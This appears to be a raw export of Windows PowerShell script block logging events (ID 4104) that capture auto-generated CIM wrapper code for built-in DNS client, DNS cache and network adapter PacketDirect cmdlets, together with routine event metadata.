$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Clear-DnsClientCache
{
[CmdletBinding(SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
param(
[Parameter(ParameterSetName='Clear0')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='Clear0')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='Clear0')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
$__cmdletization_returnValue = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{ Name = 'ReturnValue'; ParameterType = 'System.UInt32'; Bindings = 'Error'; Value = $null; IsValuePresent = $false }
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Clear', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_methodInvocationInfo)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_DnsClientCache.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Clear-DnsClientCache' -Alias '*'
function Get-DnsClientCache
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_DNSClientCache')]
param(
[Parameter(ParameterSetName='ByName', Position=0)]
[ValidateNotNull()]
[string[]]
${Entry},
[Parameter(ParameterSetName='ByName')]
[Alias('RecordName')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByName')]
[Alias('RecordType')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.DnsClientCache.Type[]]
${Type},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.DnsClientCache.Status[]]
${Status},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.DnsClientCache.Section[]]
${Section},
[Parameter(ParameterSetName='ByName')]
[Alias('TTL')]
[ValidateNotNull()]
[uint32[]]
${TimeToLive},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint16[]]
${DataLength},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[string[]]
${Data},
[Parameter(ParameterSetName='ByName')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Entry') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Entry})
$__cmdletization_queryBuilder.FilterByProperty('Entry', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('Type') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Type})
$__cmdletization_queryBuilder.FilterByProperty('Type', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('Status') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Status})
$__cmdletization_queryBuilder.FilterByProperty('Status', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('Section') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Section})
$__cmdletization_queryBuilder.FilterByProperty('Section', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('TimeToLive') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${TimeToLive})
$__cmdletization_queryBuilder.FilterByProperty('TimeToLive', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('DataLength') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DataLength})
$__cmdletization_queryBuilder.FilterByProperty('DataLength', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('Data') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Data})
$__cmdletization_queryBuilder.FilterByProperty('Data', $__cmdletization_values, $true, 'Default')
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_DnsClientCache.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-DnsClientCache' -Alias '*'
ScriptBlock ID: be57619b-c846-4875-b501-17a8bb3248fe
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1885 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:06 AM | dfeadd90-ee34-0005-f8f3-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_DNSClient'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Register-DnsClient
{
[CmdletBinding(SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
param(
[Parameter(ParameterSetName='Register0')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='Register0')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='Register0')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
$__cmdletization_returnValue = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{ Name = 'ReturnValue'; ParameterType = 'System.UInt32'; Bindings = 'Error'; Value = $null; IsValuePresent = $false }
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Register', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_methodInvocationInfo)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_DnsClient.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Register-DnsClient' -Alias '*'
function Get-DnsClient
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_DNSClient')]
param(
[Parameter(ParameterSetName='ByName', ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[uint32[]]
${InterfaceIndex},
[Parameter(ParameterSetName='ByName', Position=0)]
[ValidateNotNull()]
[string[]]
${InterfaceAlias},
[Parameter(ParameterSetName='ByName')]
[Alias('Suffix')]
[ValidateNotNull()]
[string[]]
${ConnectionSpecificSuffix},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[bool[]]
${RegisterThisConnectionsAddress},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[bool[]]
${UseSuffixWhenRegistering},
[Parameter(ParameterSetName='ByName')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('InterfaceIndex') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceIndex})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceIndex', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceAlias') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceAlias})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceAlias', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('ConnectionSpecificSuffix') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${ConnectionSpecificSuffix})
$__cmdletization_queryBuilder.FilterByProperty('ConnectionSpecificSuffix', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('RegisterThisConnectionsAddress') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${RegisterThisConnectionsAddress})
$__cmdletization_queryBuilder.FilterByProperty('RegisterThisConnectionsAddress', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('UseSuffixWhenRegistering') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${UseSuffixWhenRegistering})
$__cmdletization_queryBuilder.FilterByProperty('UseSuffixWhenRegistering', $__cmdletization_values, $false, 'Default')
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_DnsClient.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-DnsClient' -Alias '*'
function Set-DnsClient
{
[CmdletBinding(DefaultParameterSetName='ByAlias', SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_DNSClient')]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[uint32[]]
${InterfaceIndex},
[Parameter(ParameterSetName='ByAlias', Mandatory=$true, Position=0)]
[ValidateNotNull()]
[string[]]
${InterfaceAlias},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_DNSClient')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByAlias')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Suffix')]
[string]
${ConnectionSpecificSuffix},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByAlias')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[bool]
${RegisterThisConnectionsAddress},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByAlias')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[bool]
${UseSuffixWhenRegistering},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByAlias')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('ResetSuffix')]
[switch]
${ResetConnectionSpecificSuffix},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByAlias')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByAlias')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByAlias')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByAlias')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('InterfaceIndex') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceIndex})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceIndex', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceAlias') -and (@('ByAlias') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceAlias})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceAlias', $__cmdletization_values, $true, 'Default')
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByAlias', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('ConnectionSpecificSuffix')) {
[object]$__cmdletization_value = ${ConnectionSpecificSuffix}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ConnectionSpecificSuffix'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ConnectionSpecificSuffix'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RegisterThisConnectionsAddress')) {
[object]$__cmdletization_value = ${RegisterThisConnectionsAddress}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegisterThisConnectionsAddress'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegisterThisConnectionsAddress'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('UseSuffixWhenRegistering')) {
[object]$__cmdletization_value = ${UseSuffixWhenRegistering}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UseSuffixWhenRegistering'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UseSuffixWhenRegistering'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('ResetConnectionSpecificSuffix')) {
[object]$__cmdletization_value = ${ResetConnectionSpecificSuffix}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:ResetConnectionSpecificSuffix'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:ResetConnectionSpecificSuffix'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_DnsClient.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-DnsClient' -Alias '*'
ScriptBlock ID: 930d9501-8eb8-4a8b-88e0-5ba6a6369a7e
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1884 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:06 AM | dfeadd90-ee34-0004-df28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 2):
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Enable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterPacketDirect.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Enable-NetAdapterPacketDirect' -Alias '*'
function Disable-NetAdapterPacketDirect
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterPacketDirectSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
